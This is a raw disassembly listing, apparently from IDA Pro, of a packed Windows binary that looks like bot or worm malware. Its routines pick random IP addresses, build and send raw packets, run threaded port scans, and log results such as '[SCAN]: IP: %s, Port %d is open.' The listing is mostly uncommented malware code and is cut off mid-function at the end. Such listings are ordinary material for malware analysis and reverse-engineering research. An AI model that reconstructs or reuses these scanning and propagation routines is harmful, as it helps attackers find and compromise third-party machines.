		lea	ecx, ds:4453FAh[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BEA
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402284
		mov	al, 1
		jmp	loc_422F3B
sub_422B40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4236F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_448F30
		mov	ecx, offset dword_449958
		setnz	bl
		call	sub_4014DD
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D8075
		call	sub_401857
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_445420[eax*4]
		inc	ecx
		mov	dword_445420[eax*4], ecx
		mov	al, 1
		retn
sub_4236F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401E10j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50FAA8
		call	sub_5F285B
		nop
		mov	eax, offset dword_50FAA8
		add	esp, 2Ch
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423820	proc near		; CODE XREF: sub_401F55j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50DB50[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50DB50[esi*8], eax
		pop	esi
		retn
sub_423820	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423860	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423892
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423892:				; CODE XREF: sub_423860+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_511AC8
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4238CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4238CA:				; CODE XREF: sub_423860+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4238D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4238D6:				; CODE XREF: sub_423860+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4238E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4238E2:				; CODE XREF: sub_423860+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4238EC
		call	esi	; rand


loc_4238EC:				; CODE XREF: sub_423860+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50DB50[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423860	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423950	proc near		; CODE XREF: sub_401E56j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42397E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42397E:				; CODE XREF: sub_423950+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423950	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423A40:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, dword_511C38
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A37
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423B69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423C68
; ---------------------------------------------------------------------------


loc_423B69:				; CODE XREF: ___:00423B5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423BC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		call	sub_5F285B
		nop
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423BC2:				; CODE XREF: ___:00423B87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423C13
		mov	edi, dword_511C64


loc_423BEA:				; CODE XREF: ___:00423C11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423C42
		cmp	[esp+0FEh], bp
		jnz	short loc_423BEA


loc_423C13:				; CODE XREF: ___:00423BE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423C63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C42:				; CODE XREF: ___:00423C07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423C63:				; CODE XREF: ___:00423C23j
		push	offset dword_4456DC


loc_423C68:				; CODE XREF: ___:00423B64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423D10:				; CODE XREF: ___:loc_401F41j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 27D09E8h
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:44AF8Bh[eax*4]
		mov	eax, dword_44B18F[eax*4]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jz	loc_423FBE
		mov	ebx, off_511C00


loc_423D8C:				; CODE XREF: ___:00423FB4j
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423DA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423DAF
; ---------------------------------------------------------------------------


loc_423DA7:				; CODE XREF: ___:00423D96j
		call	sub_401F55
		add	esp, 4


loc_423DAF:				; CODE XREF: ___:00423DA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_511C88
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5F285B
		lea	ecx, [esp+238h]
		push	ecx
		push	ebp
		call	ebx ; sub_5F285B
		mov	edx, [esp+150h]
		mov	eax, [esp+14Ch]
		push	edx
		push	eax
		push	esi
		call	sub_401E56
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_423F9A
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423EBF
		push	offset dword_50FA90
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5F285B
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423E9F
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423E7A
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423E97
; ---------------------------------------------------------------------------


loc_423E7A:				; CODE XREF: ___:00423E56j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423E97:				; CODE XREF: ___:00423E78j
		call	sub_40152D
		add	esp, 10h


loc_423E9F:				; CODE XREF: ___:00423E4Bj
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50FA90
		call	near ptr 7C9010EDh
		nop
		jmp	loc_423F9A
; ---------------------------------------------------------------------------


loc_423EBF:				; CODE XREF: ___:00423E13j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5F285B
		mov	eax, [esp+150h]
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+200h]
		lea	edx, ds:4453F0h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5F285B
		mov	al, [esp+0B8h]
		add	esp, 10h
		test	al, al
		jz	short loc_423F0C
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423F19
; ---------------------------------------------------------------------------


loc_423F0C:				; CODE XREF: ___:00423EF8j
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423F19:				; CODE XREF: ___:00423F0Aj
		call	ebx ; sub_5F285B
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx


loc_423F67:				; DATA XREF: Themida_:005A327Eo
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44541C[edx*4]
		add	esp, 0BCh


loc_423F9A:				; CODE XREF: ___:00423E05j
					; ___:00423EBAj
		push	7D0h
		nop
		call	near ptr 2820269h
		mov	eax, [ebp+204h]
		mov	ecx, dword_50DB54[eax*8]
		test	ecx, ecx
		jnz	loc_423D8C
		mov	esi, [esp+10h]


loc_423FBE:				; CODE XREF: ___:00423D80j
		push	esi
		call	sub_401E3D
		add	esp, 4
		push	0
		call	near ptr 282038Ch
		nop
		nop
; ---------------------------------------------------------------------------
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_402284j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50DB50[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_40148D
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424101
		push	offset dword_50FA90
		call	near ptr 277069Fh
		nop
		push	offset dword_50FA90
		nop
		call	near ptr 2770E0Bh


loc_424101:				; CODE XREF: ___:004240E9j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_5118D8
		mov	esi, ebx
		mov	dword_50DB54[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_511C00
		jb	loc_424230
		mov	edi, dword_51186C


loc_424132:				; CODE XREF: ___:0042422Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5F285B
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BEA
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F41
		push	0
		push	0
		mov	dword_44B18F[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_44B19F[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_44B19F[eax*4]
		test	ecx, ecx
		jz	short loc_4241F8
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42421E


loc_4241E7:				; CODE XREF: ___:004241F4j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_4241E7
		jmp	short loc_42421E
; ---------------------------------------------------------------------------


loc_4241F8:				; CODE XREF: ___:004241DAj
		nop
		call	near ptr 27B07E7h
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5F285B
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42421E:				; CODE XREF: ___:004241E5j
					; ___:004241F6j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424132


loc_424230:				; CODE XREF: ___:00424126j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42425E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_424291
; ---------------------------------------------------------------------------


loc_42425E:				; CODE XREF: ___:00424239j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50DB54[ecx*8], esi
		jnz	short loc_424291


loc_424273:				; CODE XREF: ___:00424288j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50DB54[edx*8], esi
		jz	short loc_424273
		mov	eax, [esp+12Ch]


loc_424291:				; CODE XREF: ___:0042425Cj
					; ___:00424271j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50DB50[ecx*8]
		push	ecx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5F285B
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4242F2
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_40152D
		add	esp, 10h


loc_4242F2:				; CODE XREF: ___:004242CBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50DB54[eax*8], 0
		call	ebp
		push	3
		call	sub_40148D
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424334
		push	offset dword_50FA90
		nop
		call	near ptr 277069Fh


loc_424334:				; CODE XREF: ___:00424327j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E3D
		add	esp, 4
		push	0
		call	near ptr 282038Ch
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424410	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424410	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424430:				; CODE XREF: ___:004015EBj
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401843
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424480	proc near		; CODE XREF: sub_401843j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4244D2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4244D2:				; CODE XREF: sub_424480+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_424480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4021F8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424574
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424500	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245A0	proc near		; CODE XREF: sub_4016C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4245B3
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4245B3:				; CODE XREF: sub_4245A0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4245A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245E0	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_4245F7
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4245F7:				; CODE XREF: sub_4245E0+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	near ptr 77C2C407h
		nop
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424625
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424625:				; CODE XREF: sub_4245E0+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424654
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42466F
; ---------------------------------------------------------------------------


loc_424654:				; CODE XREF: sub_4245E0+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42466F:				; CODE XREF: sub_4245E0+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
